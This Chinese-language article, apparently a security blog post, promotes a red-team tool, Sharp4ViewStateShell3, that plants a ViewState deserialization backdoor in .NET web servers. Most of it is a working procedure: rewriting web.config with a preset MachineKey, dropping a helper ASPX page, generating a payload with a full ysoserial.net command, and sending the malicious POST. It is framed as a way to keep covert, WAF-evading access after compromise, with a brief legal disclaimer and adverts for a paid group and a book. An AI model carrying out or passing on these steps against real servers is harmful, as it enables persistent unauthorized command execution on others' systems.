在红队渗透测试中,获取初始访问权限仅仅是开始,如何长期、隐蔽地维持权限才是真正的挑战。面对采用.NET技术栈的Web系统,传统的WebShell容易被安全设备检测,而基于ViewState反序列化的隐蔽后门技术,则成为红队维持权限的优选方案。
Sharp4ViewStateShell3 是 Sharp4ViewStateShell 系列工具的最新增强版,通过自动化修改MachineKey、动态释放辅助脚本,并结合ViewState反序列化漏洞,实现无文件隐蔽的远程命令执行。相较于前代版本,支持自定义站点路径,使其在渗透中更具适应性和稳定性。
相较于旧版工具,Sharp4ViewStateShell3 主要优化了以下功能,支持指定站点根目录
,精准定位web.config
,避免误操作。
自动在同级目录释放GenerateViewState.aspx
,确保请求路径可控。适配虚拟目录结构,使请求更符合正常业务流量,规避WAF检测。
.NET 的 ViewState 功能本质是为了解决 Web 应用的无状态问题,保存控件状态信息。但如果目标应用开启了 EnableViewStateMac="true"
并使用弱或可控的 MachineKey,攻击者就可以伪造 ViewState,借助 ysoserial.net 工具构造反序列化链,从而实现命令执行RCE。本文内容和涉及的工具仅限安全研究目的,严禁用于非法渗透测试。使用者需遵守当地法律法规,未经授权测试造成的法律后果自行承担。
2.1 一键修改配置文件
修改目标假设目标站点的物理路径为:C:inetpubwwwroot,在具有写入权限的目录,Upload
下执行如下命令:
C:inetpubwwwrootUpload> Sharp4ViewStateShell3.exe "C:inetpubwwwroot"
该命令会完成以下操作:修改web.config
,插入预设的MachineKey:
<machineKey validationKey="B8D7C72D38E8972EA6B955F2D4C8D5B0A2E3F4C6A9B1D3E5F7A9C8B6D4E2F1" decryptionKey="E4D5C6B3A8F9E7D6C5B4A3F2E1D0C9B8A7" validation="SHA1" decryption="AES"/>
在Upload
目录下生成GenerateViewState.aspx
,用于获取__VIEWSTATEGENERATOR
值。
2.2 获取关键参数
访问生成的页面,获取__VIEWSTATEGENERATOR
:
GET /Upload/GenerateViewState.aspx HTTP/1.1Host: target.com
打开浏览器开发者工具,或使用 Burp 抓包查看响应内容,通常可获取:
<input type="hidden" name="__VIEWSTATEGENERATOR"value="CA0B0334"/>
2.3 生成恶意的ViewState
使用
ysoserial.net
构造反序列化命令,生成后会输出一串 Base64 编码字符串,对应 ViewState 值。具体用法如下所示。
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"--validationalg="SHA1"--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F"--decryptionalg="AES"--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6"--generator="DBC4925F"
该命令会输出Base64编码的__VIEWSTATE
值,用于后续攻击
2.4 发送恶意请求
构造POST请求,将生成的ViewState数据发送至目标:
POST /Upload/GenerateViewState.aspx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedContent-Length:8921__VIEWSTATE=[恶意Payload]&__EVENTTARGET=&__EVENTARGUMENT=
如一切配置正确,将在页面响应中看到命令结果,比如 tasklist
。
.exe
释放了一个GenerateViewState脚本,更加容易获取__VIEWSTATEGENERATOR 参数值,再加上
利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey,实现持久化远程命令执行,非常适合在红队渗透中用于权限维持。文章涉及的工具已打包在星球,感兴趣的朋友可以加入自取。以上相关的知识点已收录于新书《.NET安全攻防指南》,全书共计25章,总计1010页,分为上下册,横跨.NET Web代码审计与红队渗透两大领域。
上册深入剖析.NET Web安全审计的核心技术,帮助读者掌握漏洞发现与修复的精髓;下册则聚焦于.NET逆向工程与攻防对抗的实战技巧,揭秘最新的对抗策略与技术方法。
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!
20+专栏文章
海量资源和工具
专属成员交流群
已入驻的大咖们
欢迎加入我们
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...